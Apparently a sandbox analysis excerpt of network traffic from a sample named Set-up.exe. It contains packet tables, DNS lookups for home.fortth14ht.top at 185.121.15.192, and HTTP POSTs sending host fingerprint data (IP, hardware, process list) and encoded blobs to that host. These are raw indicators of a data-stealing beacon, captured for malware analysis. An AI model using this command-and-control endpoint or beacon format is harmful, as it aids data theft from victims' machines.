Dec 27, 2024 14:56:24.650012970 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650051117 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650131941 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650141954 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650152922 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650262117 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650273085 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650285959 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650353909 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650363922 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650423050 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650450945 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.650763035 CET	49733	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:24.650855064 CET	49733	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:24.652689934 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.652823925 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.652833939 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.652880907 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.652890921 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.652920008 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.652937889 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653070927 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653080940 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653167963 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653177023 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653278112 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653287888 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653356075 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653366089 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653467894 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653486013 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653537989 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653548002 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653733969 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653759003 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653769970 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653801918 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653842926 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653852940 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653930902 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653940916 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653950930 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653960943 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653970003 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.653981924 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654038906 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654048920 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654139996 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654150009 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654269934 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654301882 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654340982 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654364109 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654434919 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654444933 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654472113 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654519081 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654530048 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654541016 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654587984 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654597998 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654675007 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654685974 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654757977 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654772043 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654829025 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.654874086 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.655086040 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.655327082 CET	49733	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:24.655391932 CET	49733	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:24.770533085 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.770546913 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.770621061 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.770631075 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.770720959 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.770740032 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.770874977 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.770884991 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.770957947 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771017075 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771164894 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771198034 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771343946 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771353960 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771420002 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771444082 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771558046 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771585941 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771722078 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771732092 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771754980 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771811008 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771928072 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.771991014 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772154093 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772166967 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772243023 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772270918 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772339106 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772349119 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772399902 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772434950 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772516012 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772526026 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772636890 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772646904 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772725105 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772825003 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772834063 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772844076 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772907972 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.772917032 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773042917 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773053885 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773068905 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773087025 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773168087 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773192883 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773263931 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773274899 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773361921 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773371935 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773433924 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773488998 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.773675919 CET	49733	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:24.774864912 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.774888039 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.774974108 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.774985075 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775068998 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775079012 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775125980 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775175095 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775285006 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775295019 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775333881 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775343895 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775420904 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775440931 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775499105 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775531054 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775605917 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775621891 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775708914 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775737047 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775857925 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775876999 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775979042 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.775990009 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776061058 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776071072 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776187897 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776207924 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776313066 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776341915 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776482105 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776492119 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776520967 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776604891 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776614904 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776638985 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776702881 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776714087 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776786089 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776796103 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776887894 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776899099 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776926994 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.776957035 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777050972 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777076960 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777127028 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777137041 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777247906 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777292967 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777304888 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777335882 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777406931 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.777416945 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.893212080 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.893237114 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.893266916 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:24.893340111 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:31.498783112 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:31.498874903 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:31.498939991 CET	49733	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:31.499070883 CET	49733	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:31.619963884 CET	80	49733	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:31.656275034 CET	49738	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:31.776766062 CET	80	49738	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:31.776890993 CET	49738	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:31.777266979 CET	49738	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:31.897721052 CET	80	49738	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:33.263741016 CET	80	49738	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:33.263931990 CET	80	49738	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:33.264034033 CET	49738	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:33.264076948 CET	49738	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:33.383680105 CET	80	49738	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:33.416466951 CET	49739	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:33.536005974 CET	80	49739	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:33.536366940 CET	49739	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:33.536689997 CET	49739	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:33.656208992 CET	80	49739	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:35.199584961 CET	80	49739	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:35.199659109 CET	80	49739	185.121.15.192	192.168.2.4
Dec 27, 2024 14:56:35.199762106 CET	49739	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:35.199971914 CET	49739	80	192.168.2.4	185.121.15.192
Dec 27, 2024 14:56:35.320137978 CET	80	49739	185.121.15.192	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 14:56:06.896235943 CET	54002	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:56:06.896235943 CET	54002	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:56:07.038243055 CET	53	54002	1.1.1.1	192.168.2.4
Dec 27, 2024 14:56:07.197865963 CET	53	54002	1.1.1.1	192.168.2.4
Dec 27, 2024 14:56:22.626666069 CET	56417	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:56:22.626753092 CET	56417	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:56:22.763606071 CET	53	56417	1.1.1.1	192.168.2.4
Dec 27, 2024 14:56:23.021367073 CET	53	56417	1.1.1.1	192.168.2.4
Dec 27, 2024 14:56:31.517632961 CET	55733	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:56:31.517632961 CET	55733	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:56:31.655116081 CET	53	55733	1.1.1.1	192.168.2.4
Dec 27, 2024 14:56:31.655702114 CET	53	55733	1.1.1.1	192.168.2.4
Dec 27, 2024 14:56:33.278063059 CET	55735	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:56:33.278139114 CET	55735	53	192.168.2.4	1.1.1.1
Dec 27, 2024 14:56:33.415189028 CET	53	55735	1.1.1.1	192.168.2.4
Dec 27, 2024 14:56:33.415936947 CET	53	55735	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 14:56:06.896235943 CET	192.168.2.4	1.1.1.1	0xbc5f	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:06.896235943 CET	192.168.2.4	1.1.1.1	0xb2c2	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 27, 2024 14:56:22.626666069 CET	192.168.2.4	1.1.1.1	0xb2ca	Standard query (0)	home.fortth14ht.top	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:22.626753092 CET	192.168.2.4	1.1.1.1	0x1ab5	Standard query (0)	home.fortth14ht.top	28	IN (0x0001)	false
Dec 27, 2024 14:56:31.517632961 CET	192.168.2.4	1.1.1.1	0xb166	Standard query (0)	home.fortth14ht.top	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:31.517632961 CET	192.168.2.4	1.1.1.1	0xe67e	Standard query (0)	home.fortth14ht.top	28	IN (0x0001)	false
Dec 27, 2024 14:56:33.278063059 CET	192.168.2.4	1.1.1.1	0xd864	Standard query (0)	home.fortth14ht.top	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:33.278139114 CET	192.168.2.4	1.1.1.1	0xd98a	Standard query (0)	home.fortth14ht.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 14:56:07.197865963 CET	1.1.1.1	192.168.2.4	0xbc5f	No error (0)	httpbin.org	3.218.7.103	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:07.197865963 CET	1.1.1.1	192.168.2.4	0xbc5f	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:22.763606071 CET	1.1.1.1	192.168.2.4	0xb2ca	No error (0)	home.fortth14ht.top	185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:31.655702114 CET	1.1.1.1	192.168.2.4	0xb166	No error (0)	home.fortth14ht.top	185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:56:33.415189028 CET	1.1.1.1	192.168.2.4	0xd864	No error (0)	home.fortth14ht.top	185.121.15.192	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

httpbin.org

home.fortth14ht.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	185.121.15.192	80	2056	C:\Users\user\AppData\Local\Temp\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:56:23.146176100 CET	12360	OUT	POST /nTrmoVgOaovBJpKSuLkP1735210003 HTTP/1.1 Host: home.fortth14ht.top Accept: / Content-Type: application/json Content-Length: 593540 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 31 33 36 33 37 37 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "8532915458317136377", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe" [TRUNCATED]
Dec 27, 2024 14:56:23.266045094 CET	9888	OUT	Data Raw: 46 4f 77 31 5c 2f 75 6e 38 50 35 69 6f 61 74 62 57 59 5a 35 2b 70 5c 2f 2b 75 61 6a 66 37 70 5c 2f 44 2b 59 72 6f 4f 55 68 6f 71 58 61 66 37 78 5c 2f 7a 2b 4e 50 6f 41 69 32 48 32 5c 2f 7a 2b 46 47 77 2b 33 2b 66 77 72 39 67 76 45 6e 5c 2f 42 4a Data Ascii: FOw1\/un8P5ioatbWYZ5+p\/+uajf7p\/D+YroOUhoqXaf7x\/z+NPoAi2H2\/z+FGw+3+fwr9gvEn\/BJ3VfDF4IL740+ZZzOVs9Sh+Gpa1uRyQjZ8ffuLoKCZLWRi67WaNpodkz0rX\/AIJZLc4z8d\/LJ7f8Kw3f+9DXPOPev4PxH7TP6EWEr1MNifGqdCvTdp06nhn4vxkuqavwBaUZL3ozi3GUWpRbi03\/AGvD9nX9Map
Dec 27, 2024 14:56:23.266100883 CET	4944	OUT	Data Raw: 4d 65 4a 64 4a 73 66 42 33 77 7a 38 5a 36 6e 62 36 50 2b 7a 6e 34 6c 76 56 6b 73 74 57 31 48 56 64 4f 52 72 5a 74 4c 38 63 50 63 58 44 32 73 47 6f 66 45 4b 52 57 31 4c 77 76 42 41 6c 70 5c 2f 5a 4e 5c 2f 39 6a 38 48 54 74 72 4f 70 61 6a 62 58 37 Data Ascii: MeJdJsfB3wz8Z6nb6P+zn4lvVkstW1HVdORrZtL8cPcXD2sGofEKRW1LwvBAlp\/ZN\/9j8HTtrOpajbX7fq74N\/aG+EHxB+KfxP+C3hDxppus\/En4PDRm8e+HIPNWbSxrkHnQNbzui22qCwdo7LXDp0tyNC1Oe30zVTaXs8UDfzhxdwVxNwRjZ4DiPwvy3CVqOSYDiLESpz4vxOHw2V4+phsLCvicRQ4mnRoLDZhiaeU4z2k
Dec 27, 2024 14:56:23.266145945 CET	4944	OUT	Data Raw: 2f 50 35 31 57 57 58 7a 47 66 35 76 4c 53 50 5c 2f 6c 70 35 76 2b 76 5c 2f 41 4d 39 2b 65 4b 6d 6b 38 79 50 35 50 2b 66 66 45 30 58 6c 38 7a 35 5c 2f 7a 31 37 30 79 54 66 75 64 5c 2f 34 38 69 4c 45 63 33 2b 70 35 39 4b 41 47 66 76 50 4d 6d 5c 2f Data Ascii: /P51WWXzGf5vLSP\/lp5v+v\/AM9+eKmk8yP5P+ffE0Xl8z5\/z170yTfud\/48iLEc3+p59KAGfvPMm\/c\/J\/yy48+D\/Pb39aF2SRv\/AAv\/AKP5X739xN+f\/L8f6du00kny4+4nm4\/6b9v9F7cf5xTJG\/vpv\/5bfu\/+WP8A+up9r5y\/r5nQQt919\/yJ\/wBcv3\/+fqf1pnmfc6f9\/ev+f5Gp9r\/cc\/P5v7
Dec 27, 2024 14:56:23.266248941 CET	4944	OUT	Data Raw: 34 37 66 45 72 39 70 67 5c 2f 38 41 63 34 5c 2f 43 33 48 5c 2f 71 6d 71 62 5c 2f 41 4d 4f 42 66 32 4f 76 2b 69 6c 66 74 4c 5c 2f 2b 46 6a 38 4c 66 5c 2f 6e 4e 56 37 75 63 5c 2f 53 69 2b 6a 35 78 41 6c 48 4e 76 37 62 78 6b 48 67 73 78 79 75 76 54 Data Ascii: 47fEr9pg\/8Ac4\/C3H\/qmqb\/AMOBf2Ov+ilftL\/+Fj8Lf\/nNV7uc\/Si+j5xAlHNv7bxkHgsxyuvTrcO1pQxWVZxRhRzPK8Sva81TBYt0sLiKlFSivrWBwddPmoRT7cl+i79IPh9uWU\/2Jg5rG5bmlCpS4ioqeEzXKK8q+WZnhv3TjTx2D9tiqFOs4yf1XGY3D25a7ZwP7aBz\/wAEgP2LAe\/hv9lNfy\/Z911v6V\/P
